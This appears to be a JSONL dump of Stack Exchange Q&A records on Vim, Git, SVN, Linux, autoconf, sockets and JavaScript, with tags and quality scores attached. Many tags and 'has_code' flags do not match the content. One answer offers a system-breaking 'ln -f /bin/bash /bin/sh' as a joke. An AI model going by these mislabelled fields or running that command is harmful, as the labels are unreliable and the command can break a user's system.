{"id": "hf_4fbd68841815", "question": "<p>Could someone explain to me in simple terms the easiest way to change the indentation behavior of Vim based on the file type? For instance, if I open a Python file it should indent with 2 spaces, but if I open a Powershell script it should use 4 spaces.</p>\n", "question_body": "", "answer": "Put autocmd commands based on the file suffix in your ~/.vimrc\n```\n```\nautocmd BufRead,BufNewFile   *.c,*.h,*.java set noic cin noexpandtab\nautocmd BufRead,BufNewFile   *.pl syntax on\n```\n```\nThe commands you're looking for are probably ts= and sw=", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:12.308142"}
{"id": "hf_497b9cdd6ef0", "question": "<p>I mean 100+ MB big; such text files can push the envelope of editors.</p>\n\n<p>I need to look through a large XML file, but cannot if the editor is buggy.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Free read-only viewers:\nLarge Text File Viewer\n(Windows) – Fully customizable theming (colors, fonts, word wrap, tab size). Supports horizontal and vertical split view. Also support file following and regex search. Very fast, simple, and has small executable size.\nklogg\n(Windows, macOS, Linux) – A maintained fork of\nglogg\n. Its main feature is regular expression search. It supports monitoring file changes (like\n```\ntail\n```\n), bookmarks, highlighting patterns using different colors, and has serious optimizations built in. But from a UI standpoint, it's rather minimal.\nLogExpert\n(Windows) – \"A GUI replacement for\n```\ntail\n```\n.\" It's really a log file analyzer, not a large file viewer, and in one test it required 10 seconds and 700 MB of RAM to load a 250 MB file. But its killer features are the columnizer (parse logs that are in CSV, JSONL, etc. and display in a spreadsheet format) and the highlighter (show lines with certain words in certain colors). Also supports file following, tabs, multifiles, bookmarks, search, plugins, and external tools.\nLister\n(Windows) – Very small and minimalist. It's one executable, barely 500 KB, but it still supports searching (with regexes), printing, a hex editor mode, and settings.\nFree editors:\nYour regular editor or IDE. Modern editors can handle surprisingly large files. In particular,\nVim\n(Windows, macOS, Linux),\nEmacs\n(Windows, macOS, Linux),\nNotepad++\n(Windows),\nSublime Text\n(Windows, macOS, Linux), and\nVS Code\n(Windows, macOS, Linux) support large (~4 GB) files, assuming you have the RAM.\nLarge File Editor\n(Windows) – Opens and edits TB+ files, supports Unicode, uses little memory, has XML-specific features, and includes a binary mode.\nGigaEdit\n(Windows) – Supports searching, character statistics, and font customization. But it's buggy – with large files, it only allows overwriting characters, not inserting them; it doesn't respect LF as a line terminator, only CRLF; and it's slow.\nBuiltin programs (no installation required):\nless\n(macOS, Linux) – The traditional Unix command-line pager tool. Lets you view text files of practically any size. Can be installed on Windows, too.\nNotepad\n(Windows) – Decent with large files, especially with word wrap turned off.\nMORE\n(Windows) – This refers to the Windows\n```\nMORE\n```\n, not the Unix\n```\nmore\n```\n. A console program that allows you to view a file, one screen at a time.\nWeb viewers:\nreadfileonline.com\n– Another HTML5 large file viewer. Supports search.\nPaid editors/viewers:\n010 Editor\n(Windows, macOS, Linux) – Opens giant (as large as 50 GB) files.\nSlickEdit\n(Windows, macOS, Linux) – Opens large files.\nUltraEdit\n(Windows, macOS, Linux) – Opens files of more than 6 GB, but the configuration must be changed for this to be practical: Menu » Advanced » Configuration » File Handling » Temporary Files » Open file without temp file...\nEmEditor\n(Windows) – Handles very large text files nicely (officially up to 248 GB, but as much as 900 GB according to one report).\nBssEditor\n(Windows) – Handles large files and very long lines. Don’t require an installation. Free for non commercial use.\nloxx\n(Windows) – Supports file following, highlighting, line numbers, huge files, regex, multiple files and views, and much more. The free version can not: process regex, filter files, synchronize timestamps, and save changed files.", "tags": ["linux", "monitoring", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:12.463131"}
{"id": "hf_d3f33bc5635e", "question": "<p>I've been using this long command:</p>\n\n<pre><code>svn st | awk '/\\?/ {print $2}' | xargs svn add\n</code></pre>\n\n<p>Similarly, to svn rm files I accidentally deleted with normal rm with :</p>\n\n<pre><code>svn st | awk '/\\!/ {print $2}' | xargs svn rm --force\n</code></pre>\n\n<p>I guess I can write a bash function to do these two, but I'd prefer an interactive add/rm like the one git has.</p>\n", "question_body": "", "answer": "I use a generalization of the command line that you run, called\n```\nsvnapply.sh\n```\n. I did not write it, but I don't remember where I found it. Hopefully, the original author will forgive me for reposting it here:\n```\n```\n#!/bin/bash\n#\n# Applies arbitrary commands to any svn status. e.g.\n#\n# Delete all non-svn files (escape the ? from the shell):\n# svnapply \\? rm\n#\n# List all conflicted files:\n# svnapply C ls -l\n\nAPPLY=$1\nshift\n\nsvn st | egrep \"^\\\\${APPLY}[ ]+\" | \\\nsed -e \"s|^\\\\${APPLY}[ ]*||\" | \\\nsed -e \"s|\\\\\\\\|/|g\" | \\\nxargs -i \"$@\" '{}'\n```\n```\nPer the comments, the script allows you to run arbitrary commands against all files with the same status.\nUpdate:\nIt would not be too difficult to write a script that takes a file path as an argument and prompts the user for add/delete and then does the appropriate thing for that file. Chaining that together with the above script would get you what you want.", "tags": ["bash", "git"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:12.632555"}
{"id": "hf_2a1f8ab52db1", "question": "<p>I'm a Linux guy and I'm used to copying directory trees with <code>cp -a</code>. OS X doesn't have <code>-a</code> option on <code>cp</code>... but it does have the <code>ditto</code> command. I'm reading the man on <code>ditto</code> now, but is there anything I should specifically be looking out for?</p>\n", "question_body": "", "answer": "As j04t pointed out that should be\n```\ncp -pR\n```\nOn OS X, you would do\n```\n```\ncp -dRL src target\n```\n```\ncp preserves resources in newer version of OS X (was it 10.3 when that happened?)\nHey d is kinda like an upsidedown p, right ;)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:12.780928"}
{"id": "hf_a824594fe649", "question": "<p>I'm running autoconf and configure sets SHELL to '/bin/sh'.\nThis creates huge problems. How to force SHELL to be '/bin/bash' for autoconf?</p>\n\n<p>I'm trying to get this running on osx, it's working on linux. Linux is using SHELL=/bin/bash. osx defaults to /bin/sh.</p>\n", "question_body": "", "answer": "```\nln -f /bin/bash /bin/sh\n```\n:-P (No, it's not a serious answer. Please don't hose your system by doing it!)", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:13.062207"}
{"id": "hf_2fe226987f2b", "question": "<p>How do I resolve merge conflicts in my Git repository?</p>\n", "question_body": "", "answer": "Identify which files are in conflict (Git should tell you this).\nOpen each file and examine the diffs; Git demarcates them.  Hopefully it will be obvious which version of each block to keep.  You may need to discuss it with fellow developers who committed the code.\nOnce you've resolved the conflict in a file\n```\ngit add the_file\n```\n.\nOnce you've resolved\nall\nconflicts, do\n```\ngit rebase --continue\n```\nor whatever command \nGit said to do when you completed.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:13.266089"}
{"id": "hf_966c9d78e4bb", "question": "<p>When running performance tests file system cache hit or miss can significantly influence test results. Therefore generally before running such tests used files are evicted from system cache. How to do that on Linux?</p>\n\n<p><strong>Clarification:</strong> If possible, the solution should not require root privileges.</p>\n", "question_body": "", "answer": "As a superuser you can do the following:\nTo free pagecache:\necho 1 > /proc/sys/vm/drop_caches\nTo free dentries and inodes:\necho 2 > /proc/sys/vm/drop_caches\nTo free pagecache, dentries and inodes:\necho 3 > /proc/sys/vm/drop_caches\nThis operation will not \"lose\" any data (caches are written out to disk before their data is dropped), however, to really make sure all cache is cleaned, you should sync first. E.g. all caches should be cleared if you run\n```\n```\nsync; echo 3 > /proc/sys/vm/drop_caches\n```\n```\nAs I said, only a superuser (root) may do so.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:13.395192"}
{"id": "hf_f3eff786d438", "question": "<p>I am trying to figure out what is the 'grafts' in the Git.</p>\n\n<p>For example, in one of the latest comments <a href=\"http://web.archive.org/web/20080930112610/http://log.emmanuelebassi.net/archives/2007/09/when-the-levee-breaks/\" rel=\"noreferrer\">here</a>, Tobu suppose to use <b>git-filter-branch</b> and <b>.git/info/grafts</b> to join two repositories.</p>\n\n<p>But I don't understand why I need these <em>grafts</em>? It seems, that all work without last two commands.</p>\n", "question_body": "", "answer": "From\nGit Wiki\n:\nGraft points or grafts enable two\n  otherwise different lines of\n  development to be joined together. It\n  works by letting users record fake\n  ancestry information for commits. This\n  way you can make git pretend the set\n  of parents a commit has is different\n  from what was recorded when the commit\n  was created.\nReasons for Using Grafts\nGrafts can be useful when moving\n  development to git, since it allows\n  you to make cloning of the old history\n  imported from another SCM optional.\n  This keeps the initial clone for users\n  who just wants to follow the latest\n  version down while developers can have\n  the full development history\n  available.\nWhen Linus started using git for\n  maintaining his kernel tree there\n  didn't exist any tools to convert the\n  old kernel history. Later, when the\n  old kernel history was imported into\n  git from the bkcvs gateway, grafts was\n  created as a method for making it\n  possible to tie the two different\n  repositories together.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:13.533322"}
{"id": "hf_beaa78780505", "question": "<p>I guess I need to know what I need in the classpath (what jar) in order to execute WebSphere 6.1 ant tasks. If someone can provide an example that would be perfect.</p>\n", "question_body": "", "answer": "The Actual Websphere Ant tasks are defined in\n```\nwsanttasks.jar\n```\n.\nA possible path for linux Systems is\n```\n/opt/IBM/WebSphere/AppServer/lib/wsanttasks.jar\n```\nHowever I doubt that you will be successfull just by including that, as I do remember trying it once and it failed because of dependecies.\nHowever, it is not impossible to do it as\n```\nws_ant\n```\nis just a wrapper script which adds\nall the required classpaths and calls the inbuilt ant\n. So if you have time to look into the\n```\nws_ant\n```\nscript you will be able to get all the required classpath's.\nBy the way is there any special reason why you want to avoid\n```\nws_ant\n```\n, that will surely make your life simple.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:13.848701"}
{"id": "hf_68370c2b97fd", "question": "<p>I'm working on a configuration script for a JNI wrapper. One of the configuration parameters is the path to <code>jni.h</code>. What's a good quick-and-dirty Autoconf test for whether this parameter is set correctly for C++ compilation? You can assume you're running on Linux and <code>g++</code> is available.</p>\n\n<p>Alternatively, is there a way to get <code>javah</code> (or a supporting tool) to give me this path directly?</p>\n", "question_body": "", "answer": "Checking for headers is easy; just use\n```\nAC_CHECK_HEADER\n```\n. If it's in a weird place (i.e., one the compiler doesn't know about), it's entirely reasonable to expect users to set\n```\nCPPFLAGS\n```\n.\nThe hard part is actually locating\n```\nlibjvm\n```\n. You typically don't want to link with this; but you may want to default to a location to\n```\ndlopen\n```\nit from if\n```\nJAVA_HOME\n```\nis not set at run time.\nBut I don't have a better solution than requiring that\n```\nJAVA_HOME\n```\nbe set at configure time. There's just too much variation in how this stuff is deployed across various OSes (even just Linux distributions). This is what I do:\n```\n```\nAC_CHECK_HEADER([jni.h], [have_jni=yes])\nAC_ARG_VAR([JAVA_HOME], [Java Runtime Environment (JRE) location])\nAC_ARG_ENABLE([java-feature],\n              [AC_HELP_STRING([--disable-java-feature],\n                              [disable Java feature])])\ncase $target_cpu in\n     x86_64) JVM_ARCH=amd64 ;;\n     i?86)   JVM_ARCH=i386 ;;\n     *)      JVM_ARCH=$target_cpu ;;\nesac\nAC_SUBST([JVM_ARCH])\nAS_IF([test X$enable_java_feature != Xno],\n[AS_IF([test X$have_jni != Xyes],\n       [AC_MSG_FAILURE([The Java Native Interface is required for Java feature.])])\nAS_IF([test -z \"$JAVA_HOME\"],\n[AC_MSG_WARN([JAVA_HOME has not been set.  JAVA_HOME must be set at run time to locate libjvm.])],\n[save_LDFLAGS=$LDFLAGS\nLDFLAGS=\"-L$JAVA_HOME/lib/$JVM_ARCH/client -L$JAVA_HOME/lib/$JVM_ARCH/server $LDFLAGS\"\nAC_CHECK_LIB([jvm], [JNI_CreateJavaVM], [LIBS=$LIBS],\n             [AC_MSG_WARN([no libjvm found at JAVA_HOME])])\nLDFLAGS=$save_LDFLAGS\n])])\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:13.973524"}
{"id": "hf_135fda0f5118", "question": "<p>How can I dock a CControlBar derived window to the middle of a splitter window (CSplitterWnd)?  I would like the bar to be repositioned whenever the splitter is moved.</p>\n\n<p>To make it a little clearer as to what I'm after, imagine the vertical ruler in the Dialog Editor in Visual Studio (MFC only).  It gets repositioned whenever the tree view is resized.</p>\n", "question_body": "", "answer": "Serge,\nI apologize, I wasn't very clear.  The splitter would be between the resource view and the ruler bar.  It would looke like this:\nResource View | Vertical ruler | View\nIn any case, I found the (now obvious) answer: split the main frame into three windows:\n```\n```\nm_wndSplitter.CreateStatic(this, 1, 3);\n\nm_wndLeftPane.Create(&m_wndSplitter,WS_CHILD|WS_VISIBLE,m_wndSplitter.IdFromRowCol(0, 0));\nm_ruler.Create(&m_wndSplitter,WS_CHILD|WS_VISIBLE,m_wndSplitter.IdFromRowCol(0, 1));\n\nm_wndSplitter.CreateView(0, 2, pContext->m_pNewViewClass, CSize(300, 0), pContext);\nSetActiveView((CScrollView*)m_wndSplitter.GetDlgItem(m_wndSplitter.IdFromRowCol(0, 2)));\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:14.106774"}
{"id": "hf_d5f9754349c1", "question": "<p>Can someone please provide an implementation of a C function that gets invoked to dump the current stack? It's for a x86 linux system.  It can be invoked in 2 ways: explicitly by another function, or after a crash (probably as a trap/int handler).  The output can be either to the screen or to a file, as indicated by a parameter (handle).  A clear explanation/comments of how the stack is unwound would obviously be very helpful.  Thank you.</p>\n", "question_body": "", "answer": "following on Adam's answer, the source code that shows how to perform the actual stack backtracing is in gnu libc's backtrace(), under /libc/debug/backtrace.c  - not sure if the full link below will be accepted by stackoverflow's html filters...\nhttp://cvs.savannah.gnu.org/viewvc/*checkout*/libc/debug/backtrace.c?root=libc&revision=1.1.2.1&content-type=text%2Fplain", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:14.701468"}
{"id": "hf_32bc24089742", "question": "<p>Here's a link to Windows <a href=\"http://msdn.microsoft.com/en-us/library/ms683218(VS.85).aspx\" rel=\"nofollow noreferrer\">documentation</a>.</p>\n\n<p>Basically I would like to get similar data, but on Linux. If not all is possible, then at least some parts.</p>\n", "question_body": "", "answer": "Look at the pseudo-files under\n```\n/proc/<PID>/\n```\n. Maybe you can find what you need there.\nLook at\n```\nman 5 proc\n```\n, or failing that the kernel documentation. However, I don't see much that looks promising. Sorry.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:14.848779"}
{"id": "hf_105fb805b91d", "question": "<p>This seems very noisy to me. Five lines of overhead is just too much.</p>\n\n<pre><code>m_Lock.EnterReadLock()\nTry\n    Return m_List.Count\nFinally\n    m_Lock.ExitReadLock()\nEnd Try\n</code></pre>\n\n<p>So how would you simply this?</p>\n", "question_body": "", "answer": "I ended up doing this, but I'm still open to better ways or flaws in my design.\n```\n```\nUsing m_Lock.ReadSection\n    Return m_List.Count\nEnd Using\n```\n```\nThis uses this extension method/class:\n```\n```\n<Extension()> Public Function ReadSection(ByVal lock As ReaderWriterLockSlim) As ReadWrapper\n    Return New ReadWrapper(lock)\nEnd Function\n\nPublic NotInheritable Class ReadWrapper\n    Implements IDisposable\n\n    Private m_Lock As ReaderWriterLockSlim\n    Public Sub New(ByVal lock As ReaderWriterLockSlim)\n        m_Lock = lock\n        m_Lock.EnterReadLock()\n    End Sub\n    Public Sub Dispose() Implements IDisposable.Dispose\n        m_Lock.ExitReadLock()\n    End Sub\n\nEnd Class\n```\n```", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:15.140833"}
{"id": "hf_03fe1a6df923", "question": "<p>I would like to write a driver to talk to my Suunto t3 watch in Python on a Mac. My day job is doing basic web work in C# so my familiarity with Python and developing on a Mac is limited.</p>\n\n<p>Can you suggest how one would start doing driver development in general and then more specifically on a Mac. I.e. how to easily see what data is being transmitted to the device? I have Python 2.5 (MacPorts) up and running.</p>\n", "question_body": "", "answer": "If the watch supports a\nstandard USB device class specification\nsuch as HID or serial communication, there might already be a Macintosh driver for it built into the OS. Otherwise, you're going to have to get information about the vendor commands used to communicate with it from one of three sources: the manufacturer; reverse engineering the protocol used by the Windows driver; or from others who have already reverse engineered the protocol in order to support the device on Linux or BSD.\nUSB is a packet-based bus and it's very important to understand the various transaction types. Reading the\nUSB specification\nis a good place to start.\nYou can see what data is being transmitted to the device using a USB bus analyzer, which is an expensive proposition for a hobbyist but is well within the reach of most businesses doing USB development. For example, the\nCatalyst Conquest\nis $1199. Another established manufacturer is\nLeCroy (formerly CATC)\n. There are also software USB analyzers that hook into the OS's USB stack, but they don't show all of the traffic on the bus, and may not be as reliable.\nI'm not a Mac expert, so take this paragraph with a grain of salt: Apple has a driver development kit called the\nI/O Kit\n, which apparently requires you to write your driver in C++, unless they also have some sort of user-mode driver framework. If you're writing it in Python, it will probably be more like a Python library that interfaces to someone else's (Apple's?) generic USB driver.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:15.255704"}
{"id": "hf_1bdfc83e7a10", "question": "<p>Where can I find a free, very quick, and reliable implementation of FFT in C#?</p>\n\n<p>That can be used in a product? Or are there any restrictions?</p>\n", "question_body": "", "answer": "AForge.net\nis a free (open-source) library with Fast Fourier Transform support. (See Sources/Imaging/\nComplexImage.cs\nfor usage, Sources/Math/\nFourierTransform.cs\nfor implemenation)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:15.398966"}
{"id": "hf_ed8aee399f0f", "question": "<p>I have a web site using apache httpd as the server and mysql as the backend. It publishes a \"thought for the day\" that has gotten so popular that the server is crashing due to the number of requests. Since the same page is been requested (the thought only changes once a day), is it possible to put a caching server in front of my main server, so that when the same request is made by different clients, the caching server returns the page without having to go to the database?</p>\n", "question_body": "", "answer": "Absolutely.  There are many products that will work well for this.  Apache itself can be configured to function this way although, if you are on Linux or UNIX, Squid is the better option as it is specifically designed to do this very job.\nOn Windows, MS has always offered cache/proxy products that will do this function.  Currently this is ISA Server 2006.  Although this is dramatically overkill for this type of application.\nSquid\nis my recommendation.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:15.552422"}
{"id": "hf_de9589356531", "question": "<p>In C/C++, how would I turn a blocking socket into a non blocking socket in both WinSocks and *nix; so that select() would work correctly. You can use the pre-processor for the platform specific code.</p>\n", "question_body": "", "answer": "On linux:\n```\n```\nfcntl(fd, F_SETFL, O_NONBLOCK);\n```\n```\nWindows\n:\n```\n```\nu_long on = 1;\nioctlsocket(fd, FIONBIO, &on);\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:15.698278"}
{"id": "hf_15030aca9975", "question": "<p>I want my Ruby program to do different things on a Mac than on Windows. How can I find out on which system my program is running?</p>\n", "question_body": "", "answer": "Either\n```\n```\nirb(main):002:0> require 'rbconfig'\n=> true\nirb(main):003:0> Config::CONFIG[\"arch\"]\n=> \"i686-linux\"\n```\n```\nor\n```\n```\nirb(main):004:0> RUBY_PLATFORM\n=> \"i686-linux\"\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:15.835674"}
{"id": "hf_e2b695434426", "question": "<p>We want to be able to advance our business by utilizing both of the power of KOFAX and SharePoint 2007. Any pointers Development-wise?</p>\n", "question_body": "", "answer": "We looked into doing something like this a couple of years ago. We were thinking of having printed documents scanned in, converted with OCR, and organized digitally in a type of repository.\nWe actually did an analysis of OCR tools and repository / collaboration tools and which would be the easiest to integrate. We checked out Kofax, OCR for AnyDoc, and a couple of others on the OCR side, and SharePoint WSS, SharePoint MOSS, Hyland OnBase, SAP Collaboration Manager, and Documentum on the repository / collaboration side.\nYour idea is good, and there are variants of it in use in banking and other industries. As for the integration, in my experience if you're using SharePoint, it should be pretty easy with Kofax if you leverage the API's on both sides and get creative with simple web parts and iFrames.\nKA", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:15.978978"}
{"id": "hf_396c2c511d61", "question": "<p>I'm about to deal with managing and running my first Internet connected Apache webserver and I was wondering if there are any sys admins and developers out there that would like to share some of their knowledge regarding security and optimization tips for running Apache webserver.</p>\n\n<p>Maybe you can share your top five (or ten) list of things you immediately do after installing Apache webserver (on a Linux box).</p>\n\n<p>Any help very much appreciated.</p>\n", "question_body": "", "answer": "Ensure the Apache process isn't running as root.\nBe sure to be on the latest stable release\nIf the box is\ndirectly connected to the internet\nensure you have thought about all\nother services, like ssh.\nCarefully inspect your local firewall rules, tighten it down. (See iptables)\nDon't turn on options you don't understand or don't plan to use\nConsider subscribing to an Apache security mailing list so you'll learn right away of any critical patches", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:16.091242"}
{"id": "hf_526d691016bd", "question": "<p>I need to be able to merge two (very simple) JavaScript objects at runtime.  For example I'd like to:</p>\n<pre><code>var obj1 = { food: 'pizza', car: 'ford' }\nvar obj2 = { animal: 'dog' }\n\nobj1.merge(obj2);\n\n//obj1 now has three properties: food, car, and animal\n</code></pre>\n<p>Is there a built in way to do this?  I do not need recursion, and I do not need to merge functions, just methods on flat objects.</p>\n", "question_body": "", "answer": "ECMAScript 2018 Standard Method\nYou would use\nobject spread\n:\n```\n```\nlet merged = {...obj1, ...obj2};\n```\n```\n```\nmerged\n```\nis now the union of\n```\nobj1\n```\nand\n```\nobj2\n```\n. Properties in\n```\nobj2\n```\nwill overwrite those in\n```\nobj1\n```\n.\n```\n```\n/** There's no limit to the number of objects you can merge.\n *  Later properties overwrite earlier properties with the same name. */\nconst allRules = {...obj1, ...obj2, ...obj3};\n```\n```\nHere is also the\nMDN documentation\nfor this syntax. If you're using babel you'll need the\nbabel-plugin-transform-object-rest-spread\nplugin for it to work.\nECMAScript 2015 (ES6) Standard Method\n```\n```\n/* For the case in question, you would do: */\nObject.assign(obj1, obj2);\n\n/** There's no limit to the number of objects you can merge.\n *  All objects get merged into the first object. \n *  Only the object in the first argument is mutated and returned.\n *  Later properties overwrite earlier properties with the same name. */\nconst allRules = Object.assign({}, obj1, obj2, obj3, etc);\n```\n```\n(see\nMDN JavaScript Reference\n)\nMethod for ES5 and Earlier\n```\n```\nfor (var attrname in obj2) { obj1[attrname] = obj2[attrname]; }\n```\n```\nNote that this will simply add all attributes of\n```\nobj2\n```\nto\n```\nobj1\n```\nwhich might not be what you want if you still want to use the unmodified\n```\nobj1\n```\n.\nIf you're using a framework that craps all over your prototypes then you have to get fancier with checks like\n```\nhasOwnProperty\n```\n, but that code will work for 99% of cases.\nExample function:\n```\n```\n/**\n * Overwrites obj1's values with obj2's and adds obj2's if non existent in obj1\n * @param obj1\n * @param obj2\n * @returns obj3 a new object based on obj1 and obj2\n */\nfunction merge_options(obj1,obj2){\n    var obj3 = {};\n    for (var attrname in obj1) { obj3[attrname] = obj1[attrname]; }\n    for (var attrname in obj2) { obj3[attrname] = obj2[attrname]; }\n    return obj3;\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:16.210573"}
{"id": "hf_88b7465a1798", "question": "<pre><code>int x = n / 3;  // &lt;-- make this faster\n\n// for instance\n\nint a = n * 3; // &lt;-- normal integer multiplication\n\nint b = (n &lt;&lt; 1) + n; // &lt;-- potentially faster multiplication\n</code></pre>\n", "question_body": "", "answer": "I don't know if it's faster but if you want to use a bitwise operator to perform binary division you can use the shift and subtract method described at\nthis page\n:\nSet quotient to 0\nAlign leftmost digits in dividend and divisor\nRepeat:\nIf that portion of the dividend above the divisor is greater than or equal to the divisor:\nThen subtract divisor from that portion of the dividend and\nConcatentate 1 to the right hand end of the quotient\nElse concatentate 0 to the right hand end of the quotient\nShift the divisor one place right\nUntil dividend is less than the divisor:\nquotient is correct, dividend is remainder\nSTOP", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:16.347805"}
{"id": "hf_79e1a16a86ad", "question": "<blockquote>\n  <p><strong>See also:</strong> <br/>\n  <em><a href=\"https://stackoverflow.com/questions/4950725\">How can I see which Git branches are tracking which remote / upstream branch?</a></em></p>\n</blockquote>\n\n\n\n<p>How can I find out which remote branch a local branch is tracking?</p>\n\n<p>Do I need to parse <code>git config</code> output, or is there a command that would do this for me?</p>\n", "question_body": "", "answer": "I use\nEasyGit (a.k.a. \"eg\")\nas a super lightweight wrapper on top of (or along side of) Git.  EasyGit has an \"info\" subcommand that gives you all kinds of super useful information, including the current branches remote tracking branch.  Here's an example (where the current branch name is \"foo\"):\n```\npknotz@s883422: (foo) ~/workspace/bd\n$ eg info\nTotal commits:      175\nLocal repository: .git\nNamed remote repositories: (name -> location)\n  origin -> git://sahp7577/home/pknotz/bd.git\nCurrent branch: foo\n  Cryptographic checksum (sha1sum): bd248d1de7d759eb48e8b5ff3bfb3bb0eca4c5bf\n  Default pull/push repository: origin\n  Default pull/push options:\n    branch.foo.remote = origin\n    branch.foo.merge = refs/heads/aal_devel_1\n  Number of contributors:        3\n  Number of files:       28\n  Number of directories:       20\n  Biggest file size, in bytes: 32473 (pygooglechart-0.2.0/COPYING)\n  Commits:       62\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:16.497020"}
